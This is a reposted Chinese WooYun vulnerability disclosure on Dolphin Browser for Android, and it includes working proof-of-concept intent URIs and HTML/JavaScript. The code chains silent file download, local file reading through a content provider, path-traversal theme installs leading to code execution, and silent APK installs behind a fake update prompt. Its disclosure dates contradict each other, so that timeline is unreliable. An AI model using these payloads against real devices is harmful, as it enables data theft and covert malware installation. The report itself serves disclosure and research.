海豚浏览器本地文件读取漏洞

admin 2017年3月17日16:47:14评论367 views字数 213阅读0分42秒阅读模式
摘要

2016-03-15: 细节已通知厂商并且等待厂商处理中
2016-03-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-05-14: 细节向核心白帽子及相关领域专家公开
2016-05-24: 细节向普通白帽子公开
2016-06-03: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2016-184780

漏洞标题: 海豚浏览器本地文件读取漏洞 海豚浏览器本地文件读取漏洞

相关厂商: 海豚浏览器

漏洞作者: Lyleaks

提交时间: 2016-03-15 09:36

公开时间: 2015-12-26 16:56

漏洞类型: 设计错误/逻辑缺陷

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

2人收藏


漏洞详情

披露状态:

2016-03-15: 细节已通知厂商并且等待厂商处理中
2016-03-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-14: 细节向核心白帽子及相关领域专家公开
2016-05-24: 细节向普通白帽子公开
2016-06-03: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

简要描述:

海豚浏览器本地文件读取及若干漏洞

详细说明:

海豚浏览器支持Intent URI scheme语法,但是过滤规则缺失导致可以轻易启动浏览器的私有activity。

通过分析发现有几个activity可以利用。

DolphinIntentActivity

DolphinIntentActivity从intent中获取data进行匹配,如图。

海豚浏览器本地文件读取漏洞

分别为添加书签,添加桌面快捷方式和静默下载文件,根据不同的匹配码调用不同的方法。

添加书签

海豚浏览器本地文件读取漏洞

code 区域
intent:http://bookmark/add?url=javascript:alert(1)&title=Google#Intent;SEL;component=com.dolphin.browser.xf/com.dolphin.browser.activities.DolphinIntentActivity;end

下载文件

海豚浏览器本地文件读取漏洞

从uri中获取url和confirm的属性值,当confirm为false时不会弹出下载确认框。

code 区域
intent:http://download/install?url=http://**.**.**.**/wooyun.html&confirm=false#Intent;SEL;component=com.dolphin.browser.xf/com.dolphin.browser.activities.DolphinIntentActivity;end

所以通过DolphinIntentActivity可以下载文件到本地,虽然默认file域的文件无法通过js读取file域的其他文件,但是因为海豚浏览器使用content provider(com.dolphin.browser.xf.htmlfileprovider)来读取本地文件,所以协议和主机名都相同,也就可以读取其他本地文件了。

海豚浏览器本地文件读取漏洞

POC:

download.html

code 区域
<html>  
<head>
<meta charset="utf-8" />
<title>TEST</title>
</head>
<body>
<script>
location.href="intent:http://download/install?url=http://**.**.**.**/readfile.html&confirm=false#Intent;SEL;component=com.dolphin.browser.xf/com.dolphin.browser.activities.DolphinIntentActivity;end";

setTimeout("location.href=/"content://com.dolphin.browser.xf.htmlfileprovider/sdcard/Download/readfile.html/"",5000); //等待下载完成
</script>
</body>
</html>

readfile.html

code 区域
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","content://com.dolphin.browser.xf.htmlfileprovider/default.prop",false);
xmlhttp.send(null);
alert(xmlhttp.responseText);
</script>

ThemeInstaller

这个activity可以用来安装主题。

海豚浏览器本地文件读取漏洞

从intent的data中获取主题文件路径并解压。因为解压时没对跳转符进行过滤,所以可以构造主题文件来覆盖lib目录的so文件,造成远程命令执行。结合上一个activity的下载功能,可以实现静默下载和解压安装主题文件。

code 区域
intent:file:///sdcard/Download/wooyun.dtp#Intent;SEL;component=com.dolphin.browser.xf/com.dolphin.browser.theme.ThemeInstaller;end

InstallActivity

这个activity可以用来安装apk。

海豚浏览器本地文件读取漏洞

InstallActivity从intent中获取文件路径进行安装,当dialog为true时不会弹出提示框,可以设置extra_message伪造更新提示,结合DolphinIntentActivity可实现下载和安装apk。

海豚浏览器本地文件读取漏洞

code 区域
intent://#Intent;S.filename=/sdcard/Download/wooyun.apk;S.extra_message=点击安装更新;B.dialog=false;SEL;component=com.dolphin.browser.xf/mobi.mgeek.TunnyBrowser.InstallActivity;end

漏洞证明:

见详细说明

修复方案:

版权声明:转载请注明来源 Lyleaks@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-26 16:56

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin